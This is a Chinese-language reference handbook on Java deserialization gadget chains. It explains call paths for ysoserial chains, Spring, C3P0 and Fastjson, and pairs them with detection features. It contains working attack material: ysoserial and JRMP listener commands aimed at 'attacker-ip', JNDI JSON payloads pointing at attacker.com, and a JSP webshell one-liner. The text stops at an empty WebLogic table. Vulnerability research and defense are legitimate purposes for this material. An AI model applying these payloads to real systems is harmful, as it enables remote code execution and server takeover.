🔓 Java 反序列化 Gadget 链完全手册
30+ 条 Gadget 链的深度剖析:原理 · 调用链路 · 源码分析 · 利用场景 · 防御绕过
适用版本:JDK 6u17 ~ JDK 21 · 覆盖框架:Commons Collections / Spring / Hibernate / ROME / Groovy / Fastjson …
📖 阅读指引
- 初学者:依次阅读「基础知识 → CC1 → CC6 → URLDNS → Jdk7u21」即可掌握 80% 实战场景
- 进阶者:重点关注「CC3(字节码加载)→ Spring 系列 → C3P0/JNDI → 各链绕过差异」
- 红队/Vuln Researcher:每链末尾的「绕过与局限性」是精华;对比矩阵帮助快速选择 Payload
- 蓝队/安全工程师:重点阅读「防御体系」章节,了解每种链的检测特征与拦截点
Java 反序列化漏洞自 2015 年 FoxGlove Security 的 经典文章 披露以来,已成为 Java 生态中最具影响力的安全漏洞类型之一。Gadget 链(又称利用链 / POP 链)是反序列化攻击的核心——攻击者在目标 ClassPath 中找到一系列可被串联利用的类与方法调用,最终将反序列化操作导向命令执行、代码加载或文件写入等危险操作。
本文以 ysoserial 项目为基准,结合 marshalsec、JNDI-Injection-Exploit 等工具链,系统性地剖析目前已知的 30+ 条 Java 反序列化 Gadget 链。
1. Java 序列化基础
1.1 序列化与反序列化流程
| 阶段 | 关键方法 | 说明 |
|---|---|---|
| 序列化入口 | ObjectOutputStream.writeObject(obj) | 将对象写入流 |
| 自定义序列化 | writeReplace() / writeObject() | 对象可自定义序列化行为 |
| 反序列化入口 | ObjectInputStream.readObject() | 从流中恢复对象 |
| 自定义反序列化 | readObject() / readResolve() | 大多数 Gadget 的触发点 |
| 校验机制 | ObjectInputFilter (JDK 9+) | 反序列化过滤器 |
魔数识别
二进制: AC ED 00 05 (Java 序列化流头部) Base64: rO0AB... (常见于 HTTP Cookie / POST Body) Hex: aced0005 (Wireshark / Burp 中识别)
1.2 危险方法地图(Magic Methods)
反序列化攻击之所以强大,是因为 Java 在反序列化过程中会自动调用以下方法:
| 方法 | 调用时机 | 被利用的典型链 |
|---|---|---|
readObject() | 反序列化入口 | HashMap、HashSet、BadAttributeValueExpException |
hashCode() | 存入 HashMap / HashSet 时 | CC6 (TiedMapEntry)、URLDNS |
equals() | HashMap 键比较 / HashSet 去重 | CC7、ROME |
compare() | PriorityQueue 排序 / TreeMap | CC2 / CC4 |
toString() | 字符串拼接、日志输出等 | CC5、ROME |
finalize() | GC 回收时(不可靠) | 少数利用场景 |
readObjectNoData() | 类层级不匹配时 | 边缘场景 |
readExternal() | Externalizable 接口 | 特定库 |
2. Gadget 链核心概念
2.1 什么是 Gadget 链?
Gadget(小装置/小工具)链指在目标应用 ClassPath 中存在的一系列类,这些类的方法调用可以被精心编排,形成一条从 readObject() 到危险操作(如 Runtime.exec())的可控调用链。
链的三个核心要素
- 入口 (Entry Point):实现了
readObject()的类,反序列化时会自动执行其readObject(),并在其中调用 hashCode / equals / compare 等 - 跳板 (Gadget):中间传导类,通过反射、动态代理、方法调用将控制流传向下一个节点
- Sink (汇点):最终执行危险操作的类,如
Runtime.exec()、Class.newInstance()、Method.invoke()等
2.2 Sink 分类
| Sink 类型 | 典型类 | 效果 | 代表链 |
|---|---|---|---|
| 命令执行 | Runtime.getRuntime().exec() | 直接执行系统命令 | CC1-CC7、Jdk7u21 |
| 字节码加载 | TemplatesImpl.newTransformer() | 加载自定义 bytecode (ClassLoader) | CC3、Spring1、ROME |
| JNDI 注入 | InitialContext.lookup() | 远程加载对象(LDAP/RMI) | C3P0、Fastjson |
| SpEL / EL 表达式 | ExpressionParser.parseExpression() | 执行表达式 | Spring2、MyFaces |
| 脚本引擎 | ScriptEngine.eval() | 执行脚本代码 | BeanShell1、Groovy1 |
| 文件写入 | FileOutputStream.write() | 写入任意文件 | FileUpload1、AspectJWeaver |
| DNS/URL 探测 | URL.hashCode() | DNS 外带(无 RCE) | URLDNS |
3. 关键基础类深度解析
3.1 ChainedTransformer(CC 核心)
来自 org.apache.commons.collections.functors.ChainedTransformer,将多个 Transformer 串联执行,上一个输出作为下一个输入。
public class ChainedTransformer implements Transformer {
private final Transformer[] iTransformers;
public Object transform(Object object) {
for (Transformer t : iTransformers) {
object = t.transform(object); // 链式调用
}
return object;
}
}
3.2 InvokerTransformer(反射调用器)
public class InvokerTransformer implements Transformer {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); // ← 任意方法反射调用!
}
}
关键点:通过控制 iMethodName、iParamTypes、iArgs,可以调用任意对象的任意方法。
3.3 ConstantTransformer + InvokerTransformer 组合
这是 ysoserial CC 系列最经典的组合模式:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class), // 1. 返回 Runtime.class
new InvokerTransformer("getMethod", ...), // 2. 反射获取 getRuntime 方法
new InvokerTransformer("invoke", ...), // 3. invoke 获取 Runtime 实例
new InvokerTransformer("exec", ...) // 4. 调用 exec 执行命令
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform("anything"); // → Runtime.getRuntime().exec("cmd")
3.4 LazyMap(懒加载 Map)
当调用 LazyMap.get(key) 且 key 不存在时,自动调用工厂 Transformer 的 transform() 生成值。这是 CC 系列最常用的跳板。
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
lazyMap.get("non-existent-key"); // → triggers transform()!
3.5 TiedMapEntry
它是一个 Map.Entry 包装器:
hashCode()→ 调用getValue()→ 调用map.get(key)equals()→ 调用getValue()→ 调用map.get(key)toString()→ 调用getValue()→ 调用map.get(key)
因此,只要让任何对象的 hashCode/equals/toString 被调用,且它引用了 TiedMapEntry,而 TiedMapEntry 的 map 是 LazyMap,就能触发整条链。
3.6 AnnotationInvocationHandler
JDK 动态代理的核心,它的 invoke() 方法会调用 memberValues.get() —— 如果 memberValues 是 LazyMap,这就触发了 LazyMap.get()。
// 创建一个被 LazyMap 代理的 Annotation 动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(
classLoader, new Class[]{Map.class},
new AnnotationInvocationHandler(Override.class, lazyMap)
);
3.7 TemplatesImpl(字节码加载 Sink)
来自 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,其 newTransformer() / getOutputProperties() 方法内部会调用 defineTransletClasses(),进而调用 ClassLoader.defineClass() 加载 _bytecodes 字段中的字节码。
// 关键字段
TemplatesImpl tmpl = new TemplatesImpl();
setFieldValue(tmpl, "_bytecodes", new byte[][]{evilBytes}); // 恶意类字节码
setFieldValue(tmpl, "_name", "Pwn");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
tmpl.newTransformer(); // → 加载并执行 evilBytes
前置条件:恶意类必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
Commons Collections 系列
commons-collections:commons-collections:3.1 / org.apache.commons:commons-collections4:4.0JDK 兼容:CC1/CC3/CC5/CC6/CC7 适用于 CC 3.x (JDK < 8u71);CC2/CC4 适用于 CC 4.x
通用性:CC6 是目前最通用的链——不依赖 JDK 版本,适用 CC 3.x 全版本
🔗 CC1 — AnnotationInvocationHandler + LazyMap CC 3.xJDK < 8u71
调用链路
ObjectInputStream.readObject()
→ AnnotationInvocationHandler.readObject()
→ proxyMap.entrySet() [动态代理触发 invoke()]
→ AnnotationInvocationHandler.invoke()
→ LazyMap.get() [memberValues.get()]
→ ChainedTransformer.transform()
→ ConstantTransformer.transform() [返回 Runtime.class]
→ InvokerTransformer.transform() [getMethod("getRuntime")]
→ InvokerTransformer.transform() [invoke()]
→ InvokerTransformer.transform() [exec("cmd")]
入口类:AnnotationInvocationHandler
private void readObject(ObjectInputStream s) throws ... {
s.defaultReadObject();
// ...
for (Map.Entry<String, Object> member : memberValues.entrySet()) {
// 这里触发 memberValues (LazyMap) 的 entrySet()
}
}
关键限制
- JDK 8u71+ 中
AnnotationInvocationHandler.readObject()被重写,不再直接遍历 memberValues - 因此 CC1 在较新 JDK 中失效,需要改用 CC5/CC6/CC7
- 依赖 CC 3.x(不支持 CC 4.x)
利用场景
| 场景 | 适用性 |
|---|---|
| 旧版 WebLogic / WebSphere / JBoss | ✅ 极佳(JDK 6/7) |
| 旧版 Jenkins < 2.46 | ✅ |
| 现代 Spring Boot (JDK 11+) | ❌ JDK 版本限制 |
🔗 CC2 — PriorityQueue + TransformingComparator CC 4.x全版本
调用链路
ObjectInputStream.readObject()
→ PriorityQueue.readObject()
→ PriorityQueue.heapify()
→ PriorityQueue.siftDown()
→ PriorityQueue.siftDownUsingComparator()
→ TransformingComparator.compare()
→ InvokerTransformer.transform()
→ Runtime.exec()
核心差异
- 使用 CC 4.x 中的
TransformingComparator - 入口是 PriorityQueue(优先级队列),反序列化时会重建堆并比较元素
- 无 JDK 版本限制
利用场景
适用于任何使用了 CC 4.x 且 JDK 较新的环境。很多现代应用升级了 commons-collections 到 4.x 却忽略了安全风险。
🔗 CC3 — TrAXFilter + TemplatesImpl(字节码加载)CC 3.xJDK < 8u71
调用链路
readObject()
→ AnnotationInvocationHandler.readObject()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ InstantiateTransformer.transform(TrAXFilter.class)
→ TrAXFilter( TemplatesImpl )
→ TemplatesImpl.newTransformer()
→ defineTransletClasses()
→ ClassLoader.defineClass(evilBytes) ← 加载恶意类!
核心创新
- 不再依赖 InvokerTransformer 反射调用 Runtime.exec()
- 改用 InstantiateTransformer 实例化 TrAXFilter
- TrAXFilter 构造方法接收 TemplatesImpl,内部自动调用
newTransformer() - 通过
TemplatesImpl._bytecodes字段传入自定义字节码——绕过命令执行检测
绕过价值
许多 WAF 和反序列化过滤器会检测 InvokerTransformer 类名;CC3 不需要 InvokerTransformer,只需 InstantiateTransformer + TrAXFilter。进一步,可以搭配 CC6 的入口(HashSet),实现 CC3+CC6 的融合链。
🔗 CC4 — PriorityQueue + ChainedTransformer (CC4 版) CC 4.x全版本
CC4 本质上是将 CC2 的入口(PriorityQueue)与 CC3 的 Sink(TrAXFilter + TemplatesImpl)组合,适用于 CC 4.x 环境。
PriorityQueue.readObject()
→ TransformingComparator.compare()
→ ChainedTransformer.transform()
→ InstantiateTransformer.transform()
→ TrAXFilter → TemplatesImpl.newTransformer() → 字节码加载
🔗 CC5 — BadAttributeValueExpException CC 3.x全版本
调用链路
ObjectInputStream.readObject()
→ BadAttributeValueExpException.readObject()
→ toString() [因为 valObj.toString()]
→ TiedMapEntry.toString()
→ TiedMapEntry.getValue()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ Runtime.exec()
入口类分析
BadAttributeValueExpException 是 JMX 相关的类,它的 readObject() 中会调用 valObj.toString()。CC5 通过 TiedMapEntry 的 toString() 桥接到 LazyMap。
适用场景
当 CC1 因 JDK 版本失效时,CC5 是一个不错的替代方案。不需要 AnnotationInvocationHandler。
🔗 CC6 — HashSet + TiedMapEntry(最通用链)CC 3.x全版本🔥 最常用
调用链路
ObjectInputStream.readObject()
→ HashSet.readObject()
→ HashMap.put()
→ TiedMapEntry.hashCode() [key 的 hashCode]
→ TiedMapEntry.getValue()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ Runtime.exec()
为什么 CC6 是「万能链」?
- ✅ 无 JDK 版本限制 — 不依赖 AnnotationInvocationHandler
- ✅ 只依赖 CC 3.x — 几乎所有老旧 Java 应用都有
- ✅ 入口类 HashSet 无处不在
- ✅ 无需字节码加载 — 直接 Runtime.exec(),简单可靠
构造技巧
// 关键:需要在序列化前让 LazyMap 的 key 已存在,避免构造时触发
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet set = new HashSet(1);
set.add(entry);
// 清除内部残留的 key,确保反序列化时重新触发
lazyMap.remove("foo");
// 序列化 set
🔗 CC7 — Hashtable 哈希碰撞 CC 3.x全版本
调用链路
ObjectInputStream.readObject()
→ Hashtable.readObject()
→ Hashtable.reconstitutionPut()
→ key.equals(entry.key) [哈希碰撞触发]
→ TiedMapEntry.equals()
→ TiedMapEntry.getValue()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ Runtime.exec()
核心技巧:构造哈希碰撞
CC7 的精妙之处在于利用 String 的 hashCode 碰撞:构造两个不同字符串 yy 和 zZ(它们的 hashCode 相同),使 HashMap/Hashtable 在 rehash 时触发 equals() 比较。
"yy".hashCode() == "zZ".hashCode() // → 都是 3872
JDK 原生系列
🔗 Jdk7u21 — 最经典的 JDK 原生链 JDK 7u21-严重
调用链路
ObjectInputStream.readObject()
→ LinkedHashSet.readObject()
→ LinkedHashSet.add()
→ HashMap.put()
→ element.hashCode() [AnnotationInvocationHandler 动态代理]
→ AnnotationInvocationHandler.invoke()
→ AnnotationInvocationHandler.equalsImpl()
→ memberValues.get() [memberValues → 另一个 AnnotationInvocationHandler]
→ TemplatesImpl.getOutputProperties()
→ newTransformer()
→ defineTransletClasses()
→ ClassLoader.defineClass(evilBytes)
核心机制:双层 AnnotationInvocationHandler
Jdk7u21 使用了两个 AnnotationInvocationHandler:
- 外层:代理了一个接口(如 Templates),其 memberValues 指向内层
- 内层:memberValues 是一个 HashMap,key 为 TemplatesImpl 对象
当 LinkedHashSet 的 add() 触发 hashCode → invoke → equalsImpl 时,内层 HashMap.get() 会调用 TemplatesImpl.hashCode(),而 TemplatesImpl 的 hashCode 是一个恶意实现(通过 javassist 修改),最终调用 getOutputProperties() 加载字节码。
局限性
- JDK 8 起
hashCode的计算顺序改变,链断裂 sun.reflect.annotation.AnnotationInvocationHandler在 JDK 9+ 模块化后不可直接访问
🔗 Jdk8u20 — 继承关系绕过 JDK 8u20-
Jdk8u20 是一个更特殊的变体,利用了 Java 序列化中对父类字段处理的一个特性——当子类和父类存在同名字段时,反序列化过程可能忽略子类的字段声明而沿用父类。这使得攻击者可以绕过某些类型检查。
利用场景相对狭窄,需要目标环境中存在特定的类继承结构,但原理上非常有启发性。
🔗 URLDNS — 无危害检测探针 全版本仅 DNS 探测
调用链路
ObjectInputStream.readObject()
→ HashMap.readObject()
→ HashMap.putVal()
→ URL.hashCode() [key 是 URL 对象]
→ URLStreamHandler.hashCode()
→ URLStreamHandler.getHostAddress()
→ InetAddress.getByName() ← DNS 查询!
特点
- ❌ 无 RCE,仅触发 DNS 查询
- ✅ 全 JDK 版本可用
- ✅ 无第三方依赖
- ✅ 非常适合做反序列化漏洞的初步探测
使用场景
java -jar ysoserial.jar URLDNS "http://YOUR-DNSLOG-CE-ID.oastify.com" | base64
将 Base64 Payload 发送到目标后,观察 DNSLog 平台是否有 DNS 查询记录。有则说明反序列化点存在且可利用。
🔗 JRMPClient / JRMPListener 全版本JRMP
JRMP (Java Remote Method Protocol) 是 Java RMI 的底层协议。JRMPClient 链会让目标服务器主动连接攻击者控制的 JRMP Listener,然后攻击者通过 JRMP 协议发送恶意 Payload。
JRMPClient 链路
readObject()
→ Registry / UnicastRef / DGCClient
→ 建立到攻击者 JRMP Listener 的 TCP 连接
→ 攻击者返回恶意 Payload(二次反序列化)
使用方式
# 1. 攻击机启动 JRMP Listener java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc" # 2. 向目标发送 JRMPClient Payload java -jar ysoserial.jar JRMPClient "attacker-ip:1099" | base64
目标收到 Payload 后会反序列化 JRMPClient 对象,进而连接攻击者的 1099 端口,触发二次反序列化攻击。
Spring 系列
spring-core、spring-beans、spring-expression、spring-tx 等攻击面:Spring 框架在 Java 生态中渗透率极高——几乎所有企业级应用都依赖它
🔗 Spring1 — MethodInvokeTypeProvider Spring全版本
调用链路
readObject()
→ DefaultListableBeanFactory / SerializableTypeWrapper
→ MethodInvokeTypeProvider.readObject()
→ ReflectionHelper.invokeMethod()
→ ObjectFactoryDelegatingInvocationHandler.invoke()
→ TemplatesImpl.newTransformer()
→ defineClass(evilBytes)
核心机制
利用 Spring 的 MethodInvokeTypeProvider 在反序列化时通过反射调用任意方法。搭配 JDK 动态代理 ObjectFactoryDelegatingInvocationHandler 桥接到 TemplatesImpl 实现字节码加载。
🔗 Spring2 — StaxEventItemWriter (SpEL) Spring Batch全版本
调用链路
readObject()
→ StaxEventItemWriter (Spring Batch)
→ SimpleExpressionEvaluator
→ SpEL Expression.getValue()
→ 任意代码执行
核心机制
利用 Spring Batch 的 StaxEventItemWriter 中存储的 SpEL 表达式。反序列化后会自动解析并执行 SpEL 表达式,而 SpEL 可以调用任意 Java 方法:
T(java.lang.Runtime).getRuntime().exec('calc')
🔗 Spring3 — Jackson + Spring Spring + Jackson
利用 Spring 对 Jackson 的默认配置,通过 DefaultTyping 特性触发反序列化。原理类似 Fastjson 的 @type 攻击,但通过 Jackson 的 enableDefaultTyping() 实现多态反序列化时的类型注入。
其他框架链
🔗 BeanShell1 — 脚本引擎执行 RCE
依赖:org.beanshell:bsh:2.0b5
调用链路
readObject()
→ PriorityQueue.readObject()
→ PriorityQueue.siftDownUsingComparator()
→ Comparator.compare()
→ bsh.Interpreter 的方法
→ Interpreter.eval("恶意 BeanShell 脚本")
→ Runtime.exec()
核心机制
BeanShell 是一个轻量级 Java 脚本引擎。链通过 PriorityQueue 触发 Interpreter 的 eval() 方法执行任意 BeanShell 脚本(BeanShell 脚本可以直接调用 Java API)。
// 恶意 BeanShell 脚本示例
Runtime.getRuntime().exec("calc");
利用场景
任何引入了 BeanShell 依赖的应用(如某些规则引擎、动态脚本执行平台)。比较少见但一旦存在则可直接 RCE。
🔗 ROME — EqualsBean + ToStringBean RCE
依赖:com.rometools:rome:1.0
调用链路
readObject()
→ HashMap.put()
→ ObjectBean.hashCode()
→ EqualsBean.beanHashCode()
→ ToStringBean.toString()
→ TemplatesImpl.getOutputProperties()
→ defineClass(evilBytes) ← 字节码加载!
核心机制
ROME 是 RSS/Atom Feed 解析库。其 ObjectBean 的 hashCode 最终会调用到 ToStringBean.toString(),而 ToStringBean 的 toString 会调用传入对象的全部 getter 方法。TemplatesImpl 的 getOutputProperties() 正好是一个 getter。
特点
- ✅ 不需要 CC 依赖
- ✅ 字节码加载,绕过命令执行检测
- ⚠️ JDK 高版本可能需要加
--add-opens
🔗 Hibernate1 / Hibernate2 RCE
依赖:org.hibernate:hibernate-core
Hibernate1 调用链路
readObject()
→ HashMap.put()
→ TypedValue.hashCode()
→ ComponentType.getHashCode()
→ ComponentTuplizer (通过 AbstractComponentTuplizer)
→ PojoComponentTuplizer → getPropertyValues()
→ 调用 getter 方法(如 TemplatesImpl.getOutputProperties())
Hibernate2 调用链路
Hibernate2 利用了 Hibernate 5.x 中的不同路径,但整体思路类似——都是通过 ComponentTuplizer 触发 getter 调用链。
利用场景
任何使用 Hibernate ORM 的 Java Web 应用(如基于 Spring Data JPA 的应用)。覆盖面极广。
🔗 Groovy1 — ConvertedClosure + MethodClosure RCE
依赖:org.codehaus.groovy:groovy
调用链路
readObject()
→ AnnotationInvocationHandler.invoke()
→ ConvertedClosure.invokeCustom()
→ MethodClosure.call()
→ ProcessGroovyMethods.execute() ← 执行系统命令!
核心机制
Groovy 的 MethodClosure 包装了任意方法调用,ConvertedClosure 将其转换为动态代理可调用的形式。当 AnnotationInvocationHandler 触发动态代理时,最终链到 ProcessGroovyMethods.execute() 执行系统命令。
🔗 Clojure — PersistentArrayMap RCE
依赖:org.clojure:clojure
Clojure 是 JVM 上的 Lisp 方言。该链利用了 Clojure 的 PersistentArrayMap 在反序列化时触发的 clojure.core$eval 调用,执行 Clojure 表达式。
;; Clojure 表达式可以调用 Java API (. (Runtime/getRuntime) exec "calc")
🔗 Wicket1 — DiskFileItem + FileUpload 文件写入
依赖:org.apache.wicket:wicket + commons-fileupload
调用链路
readObject()
→ DiskFileItem.readObject()
→ FileOutputStream.write()
→ 写入任意文件到磁盘!
核心机制
Wicket 的 DiskFileItem 在反序列化时会将存储的内容写入到 repository 路径下。攻击者可以控制写入路径和内容,实现任意文件写入。
典型利用
# 写入 JSP Webshell
目标路径: /webapps/ROOT/shell.jsp
内容: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
🔗 FileUpload1 — 通用文件写入 文件写入🔥 常用
依赖:commons-fileupload:commons-fileupload
类似 Wicket1,但只依赖 commons-fileupload,不需要 Wicket。利用 DiskFileItem 在反序列化时将内容写入任意路径。
🔗 C3P0 — JNDI 注入(多层) JNDI严重
依赖:com.mchange:c3p0
三种利用方式
- JndiRefForwardingDataSource:直接 JNDI lookup → LDAP/RMI 远程加载
- WrapperConnectionPoolDataSource:通过 C3P0 的 connectionPoolDataSource 构造链,最终触发 JNDI
- Hex 编码字节码加载:利用 C3P0 内部的类加载机制直接加载 hex 编码的字节码(无需出网)
JNDI 配置示例
// 方式1:JndiRefForwardingDataSource
{"@class":"com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName":"ldap://attacker.com:1389/EvilObject",
"loginTimeout":0}
利用场景
C3P0 是 Java 生态中极为流行的数据库连接池(与 HikariCP、Druid 齐名)。大量应用使用 C3P0,使这条链的攻击面非常广。特别适合 Fastjson / Jackson 等 JSON 反序列化场景。
🔗 Click1 — Cayenne Column RCE
依赖:org.apache.click:click + org.apache.cayenne:cayenne
利用 Apache Click(Web 框架)+ Apache Cayenne(ORM)的组合,通过 Cayenne 的 Column 表达式在反序列化时执行任意方法。
🔗 Jython1 — PyFunction RCE
依赖:org.python:jython-standalone
Jython 是 Python 的 JVM 实现。该链利用 Jython 的 PyFunction 和 PyBytecode 在反序列化时执行任意 Python 代码。
# Python 代码可调用 Java
from java.lang import Runtime
Runtime.getRuntime().exec("calc")
🔗 MozillaRhino1 / Rhino2 RCE
依赖:org.mozilla:rhino (JDK 7- 内置)
Mozilla Rhino 是 JVM 上的 JavaScript 引擎(JDK 8 之前内置)。链利用 NativeError 或 ScriptableObject 触发 JavaScript 代码执行。
// JavaScript 可调用 Java
java.lang.Runtime.getRuntime().exec('calc')
🔗 MyFaces1 / MyFaces2 — EL 表达式 RCE
依赖:org.apache.myfaces.core:myfaces-impl
Apache MyFaces 是 JSF 实现。链利用 ValueExpression 或 MethodExpression 在反序列化时执行 EL 表达式。
// EL 表达式
#{Runtime.getRuntime().exec('calc')}
🔗 JBossInterceptors1 RCE
依赖:JBoss/WildFly 内置
利用 JBoss 的 MethodInvocation 拦截器机制,在反序列化时通过反射调用任意方法。
🔗 Vaadin1 — Nashorn RCE
依赖:com.vaadin:vaadin-server + JDK 8 Nashorn
Vaadin 是 Java Web UI 框架。利用 Vaadin 内部的 Nashorn JavaScript 引擎执行恶意脚本。Nashorn 在 JDK 8 中内置,JDK 15+ 被移除。
🔗 AspectJWeaver — 任意文件写入 文件写入
依赖:org.aspectj:aspectjweaver
AspectJ 是 AOP 框架。该链利用 AjcEditor 和 SimpleCache 在反序列化时将数据写入任意文件路径,常用于写入 JSP Webshell 到 Web 目录。
利用场景
Spring Boot 应用常引入 AspectJ 做 AOP,这给了该链可乘之机。文件写入到 src/main/resources/static/ 或直接覆盖 class 文件。
补充链
🔗 CommonsBeanutils1 — PropertyUtils.getProperty() CCRCE
依赖:commons-beanutils:commons-beanutils
调用链路
readObject()
→ PriorityQueue.readObject()
→ BeanComparator.compare()
→ PropertyUtils.getProperty()
→ TemplatesImpl.getOutputProperties() ← 字节码加载!
核心机制
BeanComparator 在比较两个 Bean 时会调用 PropertyUtils.getProperty(),该方法通过反射获取 Bean 的 getter 方法。而 TemplatesImpl.getOutputProperties() 恰好是一个 getter。
优势
- ✅ 不需要 commons-collections(只需要 beanutils)
- ✅ 字节码加载,绕过命令检测
- ✅ PriorityQueue 入口,无 JDK 限制
🔗 Fastjson / Jackson Gadget JNDI严重
虽然严格来说不属于 Java 原生反序列化,但 JSON 反序列化触发 JNDI 是近年最常见的攻击模式:
// Fastjson < 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com:1389/EvilObject",
"autoCommit":true}
// Jackson enableDefaultTyping()
["com.sun.rowset.JdbcRowSetImpl",
{"dataSourceName":"ldap://attacker.com:1389/EvilObject",
"autoCommit":true}]
利用场景
- Fastjson < 1.2.24(无需 AutoType)
- Fastjson 1.2.25-1.2.47(AutoType 绕过)
- Jackson 开启 DefaultTyping
- 大部分使用 JNDI 的场景(Log4Shell 也走 JNDI)
🔬 全量 Gadget 链对比矩阵
| 链名称 | 依赖库 | JDK 兼容 | 入口类 | Sink 类型 | 是否需要出网 | RCE | 实用性 |
|---|---|---|---|---|---|---|---|
| CC1 | CC 3.x | < 8u71 | AnnotationInvocationHandler | Runtime.exec | ❌ | ✅ | ⭐⭐⭐ |
| CC2 | CC 4.x | 全版本 | PriorityQueue | Runtime.exec | ❌ | ✅ | ⭐⭐⭐ |
| CC3 | CC 3.x | < 8u71 | AnnotationInvocationHandler | 字节码加载 | ❌ | ✅ | ⭐⭐⭐⭐ |
| CC4 | CC 4.x | 全版本 | PriorityQueue | 字节码加载 | ❌ | ✅ | ⭐⭐⭐⭐ |
| CC5 | CC 3.x | 全版本 | BadAttributeValueExpException | Runtime.exec | ❌ | ✅ | ⭐⭐⭐ |
| CC6 | CC 3.x | 全版本 | HashSet | Runtime.exec | ❌ | ✅ | ⭐⭐⭐⭐⭐ |
| CC7 | CC 3.x | 全版本 | Hashtable | Runtime.exec | ❌ | ✅ | ⭐⭐⭐ |
| Jdk7u21 | 无 | ≤ 7u21 | LinkedHashSet | 字节码加载 | ❌ | ✅ | ⭐⭐⭐ |
| URLDNS | 无 | 全版本 | HashMap | DNS 查询 | ✅ | ❌ | ⭐⭐⭐⭐⭐ |
| JRMPClient | 无 | 全版本 | UnicastRef | 二次反序列化 | ✅ | ✅ | ⭐⭐⭐⭐ |
| Spring1 | Spring | 全版本 | MethodInvokeTypeProvider | 字节码加载 | ❌ | ✅ | ⭐⭐⭐⭐ |
| Spring2 | Spring | 全版本 | StaxEventItemWriter | SpEL 表达式 | ❌ | ✅ | ⭐⭐⭐⭐ |
| BeanShell1 | BeanShell | 全版本 | PriorityQueue | 脚本 eval | ❌ | ✅ | ⭐⭐ |
| ROME | ROME | 全版本 | HashMap | 字节码加载 | ❌ | ✅ | ⭐⭐⭐⭐ |
| Hibernate1 | Hibernate 4 | 全版本 | HashMap | 字节码加载 | ❌ | ✅ | ⭐⭐⭐ |
| Hibernate2 | Hibernate 5 | 全版本 | HashMap | 字节码加载 | ❌ | ✅ | ⭐⭐⭐ |
| Groovy1 | Groovy | 全版本 | AnnotationInvocationHandler | 命令执行 | ❌ | ✅ | ⭐⭐ |
| Clojure | Clojure | 全版本 | PersistentArrayMap | Clojure eval | ❌ | ✅ | ⭐ |
| C3P0 (JNDI) | C3P0 | 全版本 | JndiRefForwardingDataSource | JNDI 注入 | ✅ | ✅ | ⭐⭐⭐⭐⭐ |
| C3P0 (Hex) | C3P0 | 全版本 | WrapperConnectionPoolDataSource | 类加载 | ❌ | ✅ | ⭐⭐⭐⭐ |
| Wicket1 | Wicket + FileUpload | 全版本 | DiskFileItem | 文件写入 | ❌ | ✅ | ⭐⭐⭐ |
| FileUpload1 | FileUpload | 全版本 | DiskFileItem | 文件写入 | ❌ | ✅ | ⭐⭐⭐⭐ |
| AspectJWeaver | AspectJ | 全版本 | AjcEditor | 文件写入 | ❌ | ✅ | ⭐⭐⭐ |
| CommonsBeanutils1 | BeanUtils | 全版本 | PriorityQueue | 字节码加载 | ❌ | ✅ | ⭐⭐⭐⭐ |
| Click1 | Click + Cayenne | 全版本 | Column | 表达式执行 | ❌ | ✅ | ⭐ |
| Jython1 | Jython | 全版本 | PyFunction | Python eval | ❌ | ✅ | ⭐ |
| MozillaRhino1 | Rhino | 全版本 | NativeError | JS eval | ❌ | ✅ | ⭐⭐ |
| MyFaces1/2 | MyFaces | 全版本 | ValueExpression | EL 表达式 | ❌ | ✅ | ⭐⭐ |
| JBossInterceptors1 | JBoss | 全版本 | MethodInvocation | 方法调用 | ❌ | ✅ | ⭐⭐ |
| Vaadin1 | Vaadin | JDK 8 | Nashorn | JS eval | ❌ | ✅ | ⭐ |
🔍 检测与识别方法
1. 序列化数据识别特征
| 特征 | 位置 | 说明 |
|---|---|---|
AC ED 00 05 | 二进制头部 | Java 序列化魔数 |
rO0AB | Base64 开头 | 魔数的 Base64 编码结果 |
aced0005 | Hex 开头 | 魔数的十六进制表示 |
类名包含 InvokerTransformer | 序列化数据中 | CC 系列特征(可被混淆) |
类名包含 TemplatesImpl | 序列化数据中 | 字节码加载链特征 |
类名包含 ChainedTransformer | 序列化数据中 | CC 系列特征(可被混淆) |
类名包含 Runtime | 序列化数据中 | 命令执行特征(可被绕过) |
2. 工具链检测
# ysoserial 生成测试 Payload java -jar ysoserial.jar URLDNS "http://YOUR-DNSLOG.oastify.com" | base64 # Burp Suite 插件 - Java Deserialization Scanner - Freddy (Deserialization Bug Finder) - Java Serial Killer # 静态检测 - 反编译目标 JAR/WAR,搜索危险类 - grep -r "InvokerTransformer\|TemplatesImpl\|ChainedTransformer" lib/ # 运行时检测 (RASP) - 监控 ClassLoader.defineClass() 调用 - 监控 Runtime.exec() 调用栈 - 监控 JNDI lookup() 调用
3. 版本指纹关联
| 目标信息 | 可能的可用链 |
|---|---|
| CC 3.1 存在 | CC1/3/5/6/7 |
| CC 4.0 存在 | CC2/4 |
| Spring Framework 存在 | Spring1/2/3, CommonsBeanutils1 |
| Hibernate 存在 | Hibernate1/2 |
| C3P0 存在 | C3P0 (JNDI/Hex) |
| commons-fileupload 存在 | FileUpload1, Wicket1 |
| commons-beanutils 存在 | CommonsBeanutils1 |
| Fastjson 存在 | JdbcRowSetImpl JNDI |
| 仅 JDK (无三方库) | URLDNS, JRMP, Jdk7u21 |
🎯 利用场景矩阵
场景 1:WebLogic T3 协议
| WebLogic 版本 | 推荐链 | 说明 |
|---|---|---|
